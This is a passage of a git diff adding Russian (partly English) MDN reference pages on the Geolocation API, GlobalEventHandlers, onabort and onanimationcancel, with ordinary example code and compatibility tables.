Если данные о местоположении меняются (либо устройство находится в движении, либо пришли более точные данные о геопозиции), вы можете указать callback функцию, которая будет вызывается при любом обновлении данных о местоположении. Это делается с использованием функции {{domxref("Geolocation.watchPosition()","watchPosition()")}}, которая имеет несколько входных параметров: {{domxref("Geolocation.getCurrentPosition()","getCurrentPosition()")}}. Эта функция вызывается много раз, позволяя браузеру обновлять данные о текущей локации либо во время движения, либо после получения более точной информации о местоположении (после применения более точных приемов). Функция, которая вызывается при ошибке, для {{domxref("Geolocation.getCurrentPosition()","getCurrentPosition()")}}, при желании, может быть вызвана неоднократно.

+ +
+

Примечание: Вы можете использовать {{domxref("Geolocation.watchPosition()","watchPosition()")}} без вызова {{domxref("Geolocation.getCurrentPosition()","getCurrentPosition()")}}.

+
+ +
var watchID = navigator.geolocation.watchPosition(function(position) {
+  do_something(position.coords.latitude, position.coords.longitude);
+});
+ +

Метод {{domxref("Geolocation.watchPosition()","watchPosition()")}} возвращает числовой ID, который может быть использован для идентификации наблюдателя за местоположением; используйте его вместе с методом {{domxref("Geolocation.clearWatch()","clearWatch()")}}, чтобы перестать получать новые данные о местоположении.

+ +
navigator.geolocation.clearWatch(watchID);
+
+ +

Точная настройка отклика

+ +

{{domxref("Geolocation.getCurrentPosition()","getCurrentPosition()")}} и {{domxref("Geolocation.watchPosition()","watchPosition()")}} принимают callback-функцию при успехе, необязательную callback-функцию при ошибке и необязательный объект PositionOptions.

+ +

Этот объект позволяет вам включить возможность определения позиции с высокой точностью, указать максимальное время кэширования значения позиции (при повторных запросах, пока время не вышло, вам будет возвращается кэшированное значение; после браузер будет запрашивать актуальные данные), а также указать значение, устанавливающее интервал — как часто браузер должен пытаться получить данные о местоположении, прежде чем выйдет время.

+ +

Вызов {{domxref("Geolocation.watchPosition()","watchPosition")}} может выглядит следующим образом:

+ +
function geo_success(position) {
+  do_something(position.coords.latitude, position.coords.longitude);
+}
+
+function geo_error() {
+  alert("Извините, нет доступной позиции.");
+}
+
+var geo_options = {
+  enableHighAccuracy: true,
+  maximumAge        : 30000,
+  timeout           : 27000
+};
+
+var wpid = navigator.geolocation.watchPosition(geo_success, geo_error, geo_options);
+ +

Описание позиции

+ +

Местоположение пользователя содержится в экземпляре объекта {{domxref("GeolocationPosition")}}, содержащего внутри экземпляр другого объекта — {{domxref("GeolocationCoordinates")}}.

+ +

Экземпляр GeolocationPosition содержит только две вещи, свойство coords, внутри которого GeolocationCoordinates и свойство timestamp, внутри которого экземпляр {{domxref("DOMTimeStamp")}}, предоставляющее метку времени, созданную при получении данные.

+ +

Экземпляр GeolocationCoordinates содержит некоторое количество свойств, двое из которых вы будете чаще всего использовать: latitude и longitude, которые помогут вам отобразить полученную позицию на карте. Поэтому многие callback-функции с успешным получением позиции выглядят очень просто:

+ +
function success(position) {
+  const latitude  = position.coords.latitude;
+  const longitude = position.coords.longitude;
+
+  // Дальше код, который что-то делает с широтой(latitude) и долготой(longitude)
+}
+ +

Однако, вы также можете получить и другую информацию из объекта GeolocationCoordinates, такую как высота над уровнем моря, скорость, направление устройства и точные данные о высоте, долготе и широте.

+ +

Обработка ошибок

+ +

Callback-функция для ошибок, если она была передана в getCurrentPosition() или watchPosition(), ожидает экземпляр объекта GeolocationPositionError в качестве первого аргумента. Он будет содержать два свойства, code, который укажет на то, какая именно ошибка произошла и понятное для человека message, описывающее значение поля code.

+ +

Функция может выглядеть примерно так:

+ +
function errorCallback(error) {
+  alert('ERROR(' + error.code + '): ' + error.message);
+};
+
+ +

Примеры

+ +

Следующий пример использует Geolocation API для того, чтобы получить широту и долготу пользователя. При успешном выполнении, ссылка будет вести на openstreetmap.org, который отобразит пользовательскую позицию на карте.

+ + + +

HTML

+ +
<button id = "find-me">Show my location</button><br/>
+<p id = "status"></p>
+<a id = "map-link" target="_blank"></a>
+
+ +

JavaScript

+ +
function geoFindMe() {
+
+  const status = document.querySelector('#status');
+  const mapLink = document.querySelector('#map-link');
+
+  mapLink.href = '';
+  mapLink.textContent = '';
+
+  function success(position) {
+    const latitude  = position.coords.latitude;
+    const longitude = position.coords.longitude;
+
+    status.textContent = '';
+    mapLink.href = `https://www.openstreetmap.org/#map=18/${latitude}/${longitude}`;
+    mapLink.textContent = `Широта: ${latitude} °, Долгота: ${longitude} °`;
+  }
+
+  function error() {
+    status.textContent = 'Невозможно получить ваше местоположение';
+  }
+
+  if (!navigator.geolocation) {
+    status.textContent = 'Geolocation не поддерживается вашим браузером';
+  } else {
+    status.textContent = 'Определение местоположения…';
+    navigator.geolocation.getCurrentPosition(success, error);
+  }
+
+}
+
+document.querySelector('#find-me').addEventListener('click', geoFindMe);
+
+ +

Демо

+ +

{{EmbedLiveSample('Examples', 350, 150, "", "", "", "geolocation")}}

diff --git a/files/ru/web/api/geolocationcoordinates/index.html b/files/ru/web/api/geolocationcoordinates/index.html new file mode 100644 index 0000000000..14f936d09c --- /dev/null +++ b/files/ru/web/api/geolocationcoordinates/index.html @@ -0,0 +1,65 @@ +--- +title: Coordinates +slug: Web/API/GeolocationCoordinates +translation_of: Web/API/GeolocationCoordinates +--- +
{{securecontext_header}}{{APIRef("Geolocation API")}}
+ +

Интерфейс Coordinates отображает позицию устройства и его высоту над уровнем моря с рассчётным уровнем точности.

+ +

Свойства

+ +

Интерфейс Coordinates не наследует никаких свойств.

+ +
+
{{domxref("Coordinates.latitude")}} {{readonlyInline}} {{securecontext_inline}}
+
Возвращает дробное число, означающее широту, выраженную в градусах.
+
{{domxref("Coordinates.longitude")}} {{readonlyInline}} {{securecontext_inline}}
+
Возвращает дробное число, означающее долготу, выраженную в градусах.
+
{{domxref("Coordinates.altitude")}} {{readonlyInline}} {{securecontext_inline}}
+
Возвращает дробное число, означающее высоту над уровнем моря, выраженную в метрах. Возвращает null, если устройство не может предоставить эти данные.
+
{{domxref("Coordinates.accuracy")}} {{readonlyInline}} {{securecontext_inline}}
+
Возвращает дробное число, означающее точность свойств latitude и longitude, выраженную в метрах.
+
{{domxref("Coordinates.altitudeAccuracy")}} {{readonlyInline}} {{securecontext_inline}}
+
Возвращает дробное число, означающее точность свойства altitude, выраженную в метрах. Может быть null.
+
{{domxref("Coordinates.heading")}} {{readonlyInline}} {{securecontext_inline}}
+
Возвращает дробное число, означающее в каком направлении движется устройство. Это значение, выраженное в градусах, показывает насколько отклонено устройство относительно севера. 0 градусов показывает ровно на север и далее направление опредеряется по часовой стрелке (то есть, 90 градусов означает восток, а 270 градусов означает запад). Если speed равно 0, то heading будет NaN. Если устройство не может предоставить heading, то его значение будет null.
+
{{domxref("Coordinates.speed")}} {{readonlyInline}} {{securecontext_inline}}
+
Возвращает дробное число, означающее скорость движения устройства, выраженное в метрах в секунду. Это значение может быть null.
+
+ +

Методы

+ +

Интерфейс Coordinates не наследует никаких методов.

+ +

Спецификаци

+ + + + + + + + + + + + + + + + +
СпецификацияСтатусКомментарий
{{SpecName('Geolocation', '#coordinates', 'Coordinates')}}{{Spec2('Geolocation')}}Изначальное определение.
+ +

Совместимость с браузерами

+ + + +

{{Compat("api.Coordinates")}}

+ +

Смотрите также

+ + diff --git a/files/ru/web/api/geolocationposition/index.html b/files/ru/web/api/geolocationposition/index.html new file mode 100644 index 0000000000..c9e0071212 --- /dev/null +++ b/files/ru/web/api/geolocationposition/index.html @@ -0,0 +1,58 @@ +--- +title: GeolocationPosition +slug: Web/API/GeolocationPosition +tags: + - локация + - местонахождение +translation_of: Web/API/GeolocationPosition +--- +
{{securecontext_header}}{{APIRef("Geolocation API")}}
+ +

Интрефейс GeolocationPosition представляет положение соответствующего устройства в данный момент времени. Положение, представленное объектом {{domxref("GeolocationCoordinates")}},  отражает двумерное положение устройства на сфероиде, представляющем землю, а также его высоту и скорость..

+ +

Свойства

+ +

Интерфейс GeolocationPosition не наследует свойства.

+ +
+
{{domxref("GeolocationPosition.coords")}} {{readonlyInline}} {{securecontext_inline}}
+
Возвращает объект {{domxref("GeolocationCoordinates")}} определяющий текущую локацию.
+
{{domxref("GeolocationPosition.timestamp")}} {{readonlyInline}} {{securecontext_inline}}
+
Возвращает {{domxref("DOMTimeStamp")}}, представляющий время, в которое была получена локация.
+
+ +

Методы

+ +

Интрефейс GeolocationPosition не имеет и не наследует методы.

+ +

Спецификации

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Geolocation', '#position_interface', 'GeolocationPosition')}}{{Spec2('Geolocation')}}Первое определение.
+ +

Браузерная совместимость

+ + + +

{{Compat("api.GeolocationPosition")}}

+ +

Смотрите также

+ + diff --git a/files/ru/web/api/geolocationpositionerror/index.html b/files/ru/web/api/geolocationpositionerror/index.html new file mode 100644 index 0000000000..55b2df9bf1 --- /dev/null +++ b/files/ru/web/api/geolocationpositionerror/index.html @@ -0,0 +1,80 @@ +--- +title: PositionError +slug: Web/API/GeolocationPositionError +translation_of: Web/API/GeolocationPositionError +--- +
{{securecontext_header}}{{APIRef("Geolocation API")}}
+ +

Интерфейс PositionError представляет причину ошибки, возникающую при использовании устройства геолокации.

+ +

Свойства

+ +

Интерфейс PositionError не наследует никаких свойств.

+ +
+
{{domxref("PositionError.code")}} {{readonlyInline}} {{securecontext_inline}}
+
Возвращает unsigned short, представляющий код ошибки. Возможны следующие значения: + + + + + + + + + + + + + + + + + + + + + + + +
ЗначениеСвязанная константаОписание
1PERMISSION_DENIEDНе удалось получить информацию о геолокации, поскольку у страницы не было разрешения на это.
2POSITION_UNAVAILABLEНе удалось получить геолокацию, поскольку по крайней мере один внутренний источник позиции вернул внутреннюю ошибку.
3TIMEOUTВремя, разрешенное для получения геолокации, определяется {{domxref ("PositionOptions.timeout")}} информация была достигнута до получения информации.
+
+
{{domxref("PositionError.message")}} {{readonlyInline}} {{securecontext_inline}}
+
Returns a human-readable {{domxref("DOMString")}} describing the details of the error. Specifications note that this is primarily intended for debugging use and not to be shown directly in a user interface.
+
+ +

Methods

+ +

The PositionError interface neither implements nor inherits any method.

+ +

Specifications

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Geolocation', '#position_error_interface', 'PositionError')}}{{Spec2('Geolocation')}}Initial specification.
+ +

Browser compatibility

+ + + +

{{Compat("api.PositionError")}}

+ +

See also

+ + diff --git a/files/ru/web/api/globaleventhandlers/index.html b/files/ru/web/api/globaleventhandlers/index.html new file mode 100644 index 0000000000..33ecd33dcf --- /dev/null +++ b/files/ru/web/api/globaleventhandlers/index.html @@ -0,0 +1,213 @@ +--- +title: GlobalEventHandlers +slug: Web/API/GlobalEventHandlers +tags: + - API + - DOM + - HTML DOM +translation_of: Web/API/GlobalEventHandlers +--- +
+
{{ ApiRef("HTML DOM") }}
+
+ +

The GlobalEventHandlers interface describes the event handlers common to several interfaces like {{domxref("HTMLElement")}}, {{domxref("Document")}}, {{domxref("Window")}}, or {{domxref("WorkerGlobalScope")}} for Web Workers. Each of these interfaces can implement more event handlers.

+ +

GlobalEventHandlers is a raw interface and no object of this type can be created.

+ +

Properties

+ +

The events properties, of the form onXYZ, are defined on the {{domxref("GlobalEventHandlers")}}, and implemented by {{domxref("HTMLElement")}}, {{domxref("Document")}}, {{domxref("Window")}}, and {{domxref("WorkerGlobalScope")}} for Web Workers.

+ +
+
{{domxref("GlobalEventHandlers.onabort")}}
+
Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("abort")}} event is raised.
+
{{domxref("GlobalEventHandlers.onblur")}}
+
Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("blur")}} event is raised.
+
{{domxref("GlobalEventHandlers.onerror")}}
+
Is an {{domxref("OnErrorEventHandler")}} representing the code to be called when the {{event("error")}} event is raised.
+
{{domxref("GlobalEventHandlers.onfocus")}}
+
Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("focus")}} event is raised.
+
{{domxref("GlobalEventHandlers.oncancel")}}
+
Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("cancel")}} event is raised.
+
{{domxref("GlobalEventHandlers.oncanplay")}}
+
Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("canplay")}} event is raised.
+
{{domxref("GlobalEventHandlers.oncanplaythrough")}}
+
Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("canplaythrough")}} event is raised.
+
{{domxref("GlobalEventHandlers.onchange")}}
+
Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("change")}} event is raised.
+
{{domxref("GlobalEventHandlers.onclick")}}
+
Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("click")}} event is raised.
+
{{domxref("GlobalEventHandlers.onclose")}}
+
Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("close")}} event is raised.
+
{{domxref("GlobalEventHandlers.oncontextmenu")}}
+
Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("contextmenu")}} event is raised.
+
{{domxref("GlobalEventHandlers.oncuechange")}}
+
Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("cuechange")}} event is raised.
+
{{domxref("GlobalEventHandlers.ondblclick")}}
+
Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("dblclick")}} event is raised.
+
{{domxref("GlobalEventHandlers.ondrag")}}
+
Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("drag")}} event is raised.
+
{{domxref("GlobalEventHandlers.ondragend")}}
+
Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("dragend")}} event is raised.
+
{{domxref("GlobalEventHandlers.ondragenter")}}
+
Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("dragenter")}} event is raised.
+
{{domxref("GlobalEventHandlers.ondragexit")}}
+
Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("dragexit")}} event is raised.
+
{{domxref("GlobalEventHandlers.ondragleave")}}
+
Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("dragleave")}} event is raised.
+
{{domxref("GlobalEventHandlers.ondragover")}}
+
Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("dragover")}} event is raised.
+
{{domxref("GlobalEventHandlers.ondragstart")}}
+
Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("dragstart")}} event is raised.
+
{{domxref("GlobalEventHandlers.ondrop")}}
+
Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("drop")}} event is raised.
+
{{domxref("GlobalEventHandlers.ondurationchange")}}
+
Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("durationchange")}} event is raised.
+
{{domxref("GlobalEventHandlers.onemptied")}}
+
Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("emptied")}} event is raised.
+
{{domxref("GlobalEventHandlers.onended")}}
+
Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("ended")}} event is raised.
+
{{domxref("GlobalEventHandlers.oninput")}}
+
Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("input")}} event is raised.
+
{{domxref("GlobalEventHandlers.oninvalid")}}
+
Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("invalid")}} event is raised.
+
{{domxref("GlobalEventHandlers.onkeydown")}}
+
Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("keydown")}} event is raised.
+
{{domxref("GlobalEventHandlers.onkeypress")}}
+
Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("keypress")}} event is raised.
+
{{domxref("GlobalEventHandlers.onkeyup")}}
+
Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("keyup")}} event is raised.
+
{{domxref("GlobalEventHandlers.onload")}}
+
Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("load")}} event is raised.
+
{{domxref("GlobalEventHandlers.onloadeddata")}}
+
Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("loadeddata")}} event is raised.
+
{{domxref("GlobalEventHandlers.onloadedmetadata")}}
+
Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("loadedmetadata")}} event is raised.
+
{{domxref("GlobalEventHandlers.onloadstart")}}
+
Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("loadstart")}} event is raised.
+
{{domxref("GlobalEventHandlers.onmousedown")}}
+
Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("mousedown")}} event is raised.
+
{{domxref("GlobalEventHandlers.onmouseenter")}}
+
Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("mouseenter")}} event is raised.
+
{{domxref("GlobalEventHandlers.onmouseleave")}}
+
Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("mouseleave")}} event is raised.
+
{{domxref("GlobalEventHandlers.onmousemove")}}
+
Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("mousemove")}} event is raised.
+
{{domxref("GlobalEventHandlers.onmouseout")}}
+
Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("mouseout")}} event is raised.
+
{{domxref("GlobalEventHandlers.onmouseover")}}
+
Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("mouseover")}} event is raised.
+
{{domxref("GlobalEventHandlers.onmouseup")}}
+
Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("mouseup")}} event is raised.
+
{{domxref("GlobalEventHandlers.onmousewheel")}}
+
Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("mousewheel")}} event is raised.
+
{{domxref("GlobalEventHandler.onmozfullscreenchange")}} {{non-standard_inline}}
+
Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("fullscreenchange")}} event is raised.
+
{{domxref("GlobalEventHandler.onmozfullscreenerror")}} {{non-standard_inline}}
+
Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("fullscreenerror")}} event is raised.
+
{{domxref("GlobalEventHandlers.onpause")}}
+
Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("pause")}} event is raised.
+
{{domxref("GlobalEventHandlers.onplay")}}
+
Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("play")}} event is raised.
+
{{domxref("GlobalEventHandlers.onplaying")}}
+
Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("playing")}} event is raised.
+
{{domxref("GlobalEventHandlers.onpointerdown")}}
+
Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("pointerdown")}} event is raised.
+
{{domxref("GlobalEventHandlers.onpointermove")}}
+
Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("pointermove")}} event is raised.
+
{{domxref("GlobalEventHandlers.onpointerup")}}
+
Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("pointerup")}} event is raised.
+
{{domxref("GlobalEventHandlers.onpointercancel")}}
+
Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("pointercancel")}} event is raised.
+
{{domxref("GlobalEventHandlers.onpointerover")}}
+
Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("pointerover")}} event is raised.
+
{{domxref("GlobalEventHandlers.onpointerout")}}
+
Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("pointerout")}} event is raised.
+
{{domxref("GlobalEventHandlers.onpointerenter")}}
+
Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("pointerevent")}} event is raised.
+
{{domxref("GlobalEventHandlers.onpointerleave")}}
+
Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("pointerleave")}} event is raised.
+
{{domxref("GlobalEventHandlers.onpointerlockchange")}} {{experimental_inline}}
+
Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("pointerlockchange")}} event is raised.
+
{{domxref("GlobalEventHandlers.onpointerlockerror")}} {{experimental_inline}}
+
Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("pointerlockerror")}} event is raised.
+
{{domxref("GlobalEventHandlers.onprogress")}}
+
Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("progress")}} event is raised.
+
{{domxref("GlobalEventHandlers.onratechange")}}
+
Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("ratechange")}} event is raised.
+
{{domxref("GlobalEventHandlers.onreset")}}
+
Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("reset")}} event is raised.
+
{{domxref("GlobalEventHandlers.onscroll")}}
+
Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("scroll")}} event is raised.
+
{{domxref("GlobalEventHandlers.onseeked")}}
+
Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("seeked")}} event is raised.
+
{{domxref("GlobalEventHandlers.onseeking")}}
+
Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("seeking")}} event is raised.
+
{{domxref("GlobalEventHandlers.onselect")}}
+
Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("select")}} event is raised.
+
{{domxref("GlobalEventHandlers.onshow")}}
+
Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("show")}} event is raised.
+
{{domxref("GlobalEventHandlers.onsort")}} {{experimental_inline}}
+
Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("sort")}} event is raised.
+
{{domxref("GlobalEventHandlers.onstalled")}}
+
Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("stalled")}} event is raised.
+
{{domxref("GlobalEventHandlers.onsubmit")}}
+
Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("submit")}} event is raised.
+
{{domxref("GlobalEventHandlers.onsuspend")}}
+
Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("suspend")}} event is raised.
+
{{domxref("GlobalEventHandlers.ontimeupdate")}}
+
Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("timeupdate")}} event is raised.
+
{{domxref("GlobalEventHandlers.onvolumechange")}}
+
Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("volumechange")}} event is raised.
+
{{domxref("GlobalEventHandlers.onwaiting")}}
+
Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("waiting")}} event is raised.
+
+ +

Methods

+ +

This interface defines no method.

+ +

Specifications

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Pointer Lock', '#extensions-to-the-document-interface', 'Extension of Document')}}{{Spec2('Pointer Lock')}}Adds onpointerlockchange and onpointerlockerror on {{domxref("Document")}}. It is experimentally implemented on GlobalEventHandlers.
{{SpecName('HTML WHATWG', '#globaleventhandlers', 'GlobalEventHandlers')}}{{Spec2('HTML WHATWG')}}No change since the latest snapshot, {{SpecName("HTML5.1")}}.
{{SpecName('HTML5.1', '#globaleventhandlers', 'GlobalEventHandlers')}}{{Spec2('HTML5.1')}}Snapshot of {{SpecName("HTML WHATWG")}}. Added onsort since the {{SpecName("HTML 5")}} snapshot.
{{SpecName("HTML5 W3C", "#globaleventhandlers", "GlobalEventHandlers")}}{{Spec2('HTML5 W3C')}}Snapshot of {{SpecName("HTML WHATWG")}}. Creation of GlobalEventHandlers (properties where on the target before it).
+ +

Совместимость с браузерами

+ +

{{Compat("api.GlobalEventHandlers")}}

+ +

См. также

+ + diff --git a/files/ru/web/api/globaleventhandlers/onabort/index.html b/files/ru/web/api/globaleventhandlers/onabort/index.html new file mode 100644 index 0000000000..dbe49a0079 --- /dev/null +++ b/files/ru/web/api/globaleventhandlers/onabort/index.html @@ -0,0 +1,100 @@ +--- +title: GlobalEventHandlers.onabort +slug: Web/API/GlobalEventHandlers/onabort +translation_of: Web/API/GlobalEventHandlers/onabort +--- +
{{ ApiRef("HTML DOM") }}
+ +

Summary

+ +

Обработчик событий, позволяющий прерывать события объекта window. (Недоступен для Firefox 2 и Safari).

+ +

TODO define what "abort" is. Closing the window via window manager? Stopping the load of the page? By which means and reasons (user, network/server)? At which stages would it fire / be catched? Для IE, событие onabort доступно только для тега img.

+ +

Syntax

+ +
window.onabort = funcRef
+
+ + + +

Example

+ +
window.onabort = function() {
+  alert("Load aborted.");
+}
+ +

Specification

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG','webappapis.html#handler-onabort','onabort')}}{{Spec2('HTML WHATWG')}} 
+ +

Browser Compatibility

+ +
{{CompatibilityTable}}
+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support{{CompatVersionUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidAndroid WebviewChrome for AndroidFirefox Mobile (Gecko)Firefox OSIE MobileOpera MobileSafari Mobile
Basic support{{CompatUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
+
diff --git a/files/ru/web/api/globaleventhandlers/onanimationcancel/index.html b/files/ru/web/api/globaleventhandlers/onanimationcancel/index.html new file mode 100644 index 0000000000..c1b865945d --- /dev/null +++ b/files/ru/web/api/globaleventhandlers/onanimationcancel/index.html @@ -0,0 +1,247 @@ +--- +title: GlobalEventHandlers.onanimationcancel +slug: Web/API/GlobalEventHandlers/onanimationcancel +translation_of: Web/API/GlobalEventHandlers/onanimationcancel +--- +
{{APIRef("CSS3 Animations")}}
+ +

Обработчик события {{event("animationcancel")}} . Это событие вызывается когда CSS Анимация (CSS Animation) неожиданно прерывается (иными словами, в любой момент, когда анимация прекращает воспроизведение, не отправляя событие завершения {{event("animationend")}} ), например, когда изменяется {{cssxref("animation-name")}}, анимация удаляется или когда элемент с анимацией оказывается скрыт  (непосредственно сам элемент, или другой элемент, содержащий его) средствами CSS. 

+ +

Синтакс

+ +
var animCancelHandler = target.onanimationcancel;
+
+target.onanimationcancel = {{jsxref("Function")}}
+
+ +

Значения

+ +

Функция {{jsxref("Function")}} вызывается когда {{event("animationcancel")}} происходит событие, указывающее, что CSS анимация запустилась на объекте target, где объект target object это HTML элемент ({{domxref("HTMLElement")}}), документ ({{domxref("Document")}}), или окно ({{domxref("Window")}}).  Эта функция принимает один параметр {{domxref("AnimationEvent")}} - объект, описывающий событие, которое произошло.

+ +

Пример

+ +

HTML content

+ +
<div class="main">
+  <div id="box" onanimationcancel="handleCancelEvent(event);">
+    <div id="text">Box</div>
+  </div>
+</div>
+
+<div class="button" id="toggleBox">
+  Hide the Box
+</div>
+
+<pre id="log"></pre>
+ +

CSS content

+ + + +

Опустим некоторые фрагмнты CSS, не имеющие значение для нас, и рассмотрим стили для элемента, который мы анимируем. Это блок box со всеми своими свойствами, включая определенную анимацию {{cssxref("animation")}}. Мы продолжим и опишем анимацию прямо здесь, поскольку обычно она должна запускаться непосредственно при загрузке страницы, не зависимо от какого-либо другого события. 

+ +
#box {
+  width: var(--boxwidth);
+  height: var(--boxwidth);
+  left: 0;
+  top: 0;
+  border: 1px solid #7788FF;
+  margin: 0;
+  position: relative;
+  background-color: #2233FF;
+  display: flex;
+  justify-content: center;
+  animation: 5s ease-in-out 0s infinite alternate both slideBox;
+}
+
+
+ +

Далее описываются ключевые кадры анимации, которые выводят содержимое из верхнего левого угла окна в нижний правый угол.

+ +
@keyframes slideBox {
+  from {
+    left:0;
+    top:0;
+  }
+  to {
+    left:calc(100% - var(--boxwidth));
+    top:calc(100% - var(--boxwidth))
+  }
+}
+
+ +

Поскольку анимация описывается как бесконечное число раз, поочередное попеременное направление, поле будет скользить назад и вперед между двумя углами до тех пор, пока не остановится или страница не будет закрыта.

+ +

JavaScript content

+ +

Прежде чем перейти к коду анимации, мы определяем функцию, которая регистрирует информацию в поле на экране пользователя. Мы будем использовать это, чтобы показать информацию о полученных событиях. Обратите внимание на использование {{domxref ("AnimationEvent.animationName")}} и {{domxref ("AnimationEvent.elapsedTime")}}, чтобы получить информацию о произошедшем событии.

+ +
function log(msg, event) {
+  let logBox = document.getElementById("log");
+
+  logBox.innerHTML += msg;
+
+  if (event) {
+    logBox.innerHTML += " <code>"+ event.animationName +
+        "</code> at time " + event.elapsedTime.toFixed(2) +
+        " seconds.";
+  }
+
+  logBox.innerHTML += "\n";
+};
+
+
+
+ +

Затем мы устанавливаем обработчик событий handleCancelEvent() - функцию, которая вызывается в ответ на событие {{event("animationcancel")}}. Все, что мы делаем здесь - это выводим информацию в консоль, но вы можете использовать это для запуска новой анимацию или других эффектов, связанных с окончанием некоторой операции.

+ +
function handleCancelEvent(event) {
+  log("Animation canceled", event);
+};
+
+
+ +

Теперь добавим переключение {{cssxref("display")}} между "flex" и "none" и установим обрабочик события щелчка {{event("click")}} на кнопке "Hide/Show":

+ +
document.getElementById('toggleBox').addEventListener('click', function() {
+  if (box.style.display == "none") {
+    box.style.display = "flex";
+    document.getElementById("toggleBox").innerHTML = "Hide the box";
+  } else {
+    box.style.display = "none";
+    document.getElementById("toggleBox").innerHTML = "Show the box";
+  }
+});
+
+ +

Таким образом переключение стилей элемента display: none приводит к прерыванию анимации.  In browsers that support {{event("animationcancel")}}, the event is fired and this handler is called.

+ +
+

At this time, no major browser supports animationcancel.

+
+ +

Result

+ +

Assembled together, you get this:

+ +

{{ EmbedLiveSample('Example', 500, 400) }}

+ +

If your browser supports animationcancel, hiding the box using the button will cause a message to be displayed about the event.

+ +

Specification

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('CSS3 Animations','#eventdef-animationevent-animationcancel','onanimationcancel')}}{{Spec2('CSS3 Animations')}} 
+ +

Browser compatibility

+ +

{{CompatibilityTable}}

+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)EdgeInternet ExplorerOperaSafari (WebKit)
Basic support{{CompatNo}}{{CompatGeckoDesktop(54)}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidAndroid WebviewFirefox Mobile (Gecko)Firefox OSIE MobileOpera MobileSafari MobileChrome for Android
Basic support{{CompatUnknown}}{{CompatNo}}{{CompatGeckoMobile(54)}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatNo}}
+
+ +

See also

